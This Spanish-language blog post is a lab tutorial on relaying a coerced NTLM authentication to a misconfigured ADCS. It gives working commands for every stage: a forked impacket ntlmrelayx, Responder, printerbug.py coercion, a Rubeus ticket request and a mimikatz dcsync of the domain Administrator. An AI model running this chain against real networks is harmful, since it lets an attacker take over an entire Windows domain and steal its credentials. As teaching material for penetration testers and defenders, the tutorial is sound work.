Tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan diferentes escenarios de explotación los cuales comentaremos a lo largo de diversas entradas en el blog.
A continuación, hablaremos de Certificate Service Relaying con un ejemplo práctico en un laboratorio de pruebas.
En este primer caso, el ataque consta de reutilizar la credencial capturada mediante un “Coerce Autentication” para autenticarse en un ADCS (Active Directory Certificate Service) mal configurado (que lo está por defecto), para poder escalar privilegios en el dominio.
A continuación, se muestran algunas de las condiciones que se deben cumplir para poder realizar este ataque:
- El ADCS tiene que estar configurado para aceptar autenticaciones NTLM.
- La autenticación NTLM no está protegida por EPA o firmado SMB.
- El ADCS está ejecutando cualquiera de los siguientes servicios:
- Servicio web de directiva de inscripción de certificados.
- Servicio web de inscripción de certificados.
Resumen
A continuación, se explica a grandes rasgos el proceso de explotación de este ataque:
1. Conseguir acceso a una red configurada con Active Directory y una instancia ADCS mal configurada. Para ciertos ataques de coerce, además habrá que comprometer un usuario del dominio, independientemente de los privilegios de este.
2. Configurar a la escucha, en un equipo controlado por el atacante, un software para realizar la reutilización de la autenticación NTLM contra la instancia ADCS mal configurada.
3. Forzar la autenticación del controlador del dominio (Cualquier vulnerabilidad de “Coerce Autentication”) contra la maquina controlada por el atacante con el software para reutilizar la autenticación NTLM.
4. El controlador de dominio se autentica en la maquina controlada por el atacante.
5. La credencial obtenida del usuario máquina del controlador del dominio es reutilizada para autenticarse sobre el ADCS.
6. El ADCS emite un certificado para el usuario de máquina del controlador del dominio.
7. Haciendo uso del certificado obtenido en el paso anterior, se solicita un ticket Kerberos TGT.
8. Utilizar el ticket TGT del usuario máquina del controlador de dominio para solicitar el TGS de cualquier usuario, o realizar un DCSync para obtener el NTDS del dominio.
Componentes del laboratorio de pruebas
A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas:
- Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para la reutilización de la autenticación.
- DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso del mismo.
- CA.corp.lab – Entidad certificadora dentro del dominio “corp.lab”.
- Windows10 – Equipo con sistema operativo Windows comprometido previamente por el atacante, dentro del dominio “corp.lab”.
Instalación de versión especifica de impacket
Para poder desarrollar este ataque, es necesario tener instalada una versión especifica de impacket, la cual está desarrollada para poder reutilizar contra el ADCS la autenticación NTLM obtenida. Para ello seguiremos los siguientes pasos:
- Instalar el paquete de entornos virtuales de Python:
sudo apt install python3-venv
- Descargar y comprobar la versión especifica de impacket necesaria.
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack
- Crear un nuevo entorno virtual e instalar las dependencias de impacket
python3 -m venv impacket-adcs-attack
source impacket-adcs-attack/bin/activate
pip install
Desarrollo del ataque
Identificar servicio ADCS mal configurado en el dominio
Tras instalar la versión especifica de impacket, el primer paso que debe realizar es identificar el ADCS. Para ello se podrá hacer uso de múltiples herramientas, entre las que se encuentra una nativa de Microsoft denominada como certutil.
Tras detectar cual es el servidor, se deberá comprobar si tiene habilitado el servicio web de inscripción de certificados habilitado, para ello accederemos a la siguiente url desde un navegador:
http://ca.corp.lab/certsrv/certqus.asp
Cabe destacar, que al acceder a dicha URL nos solicitará un usuario y una contraseña, el cual será el de un usuario del dominio previamente comprometido (En este caso el usuario “CORP.lab\Bob”).
Una vez llegados a este punto, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados en en otras entradas del blog. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug.
Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando:
python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'
Puesta a punto del software para la reutilización de la autenticación NTLM
A continuación, se deberá configurar el entorno del atacante para poder realizar el ataque de reutilización de contraseñas. Para ello, se deberá configurar la herramienta denominada como Responder de la siguiente forma:
Sudo nano /etc/responder/Responder.conf
SMB = Off
HTTP = Off
A continuación, se deberá ejecutar tanto el script denominado como responder, responsable de capturar la “Coerce autentication” como el script denominado como ntlmrelayx previamente instalado, para realizar la reutilización contra el ADCS de la autenticación NTLM obtenida.
sudo responder -I eth0 -wd
python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp --adcs --template DomainController
Forzar autenticación y obtención del certificado expedido por el ADCS
Una vez teniendo en ejecución ambos scripts, se procederá a explotar la “Coerce Autentication”.
python3 printerbug.py "CORP/bob:<password> @dc.corp.lab" attack_machine
Tras la anterior ejecución, se obtendrá el certificado del usuario de máquina del dc:
Obtención del ticket TGT del controlador de dominio
Una vez obtenido el certificado, desde el equipo Windows 10, haremos uso de la herramienta Rubeus para solicitar e importar un ticket TGT del usuario máquina del controlador de dominio.
.\Rubeus.exe asktgt /dc:<ip del DC> /domain:CORP.LAB /user:DC$ /ptt /certificate:<Certificado en base64>
Se deberá comprobar que el ticket está correctamente importado mediante el siguiente comando:
klist
Tras comprobar que se encuentra correctamente importado, se podrán realizar diferentes acciones, como, por ejemplo, solicitar el ticket TGS del usuario Administrador del dominio:
.\mimikatz.exe
lsadump::dcsync /domain:CORP.lab /user:Administrador
Una vez obtenido el TGS del usuario administrador del dominio es posible autenticarse en el DC con privilegios elevados y comprometer la totalidad del dominio.
Este ha sido el primero de esperemos que muchos escenarios a comentar… ¿Y tú, cuáles conoces? Hasta la próxima entrada.
.png)
.png)
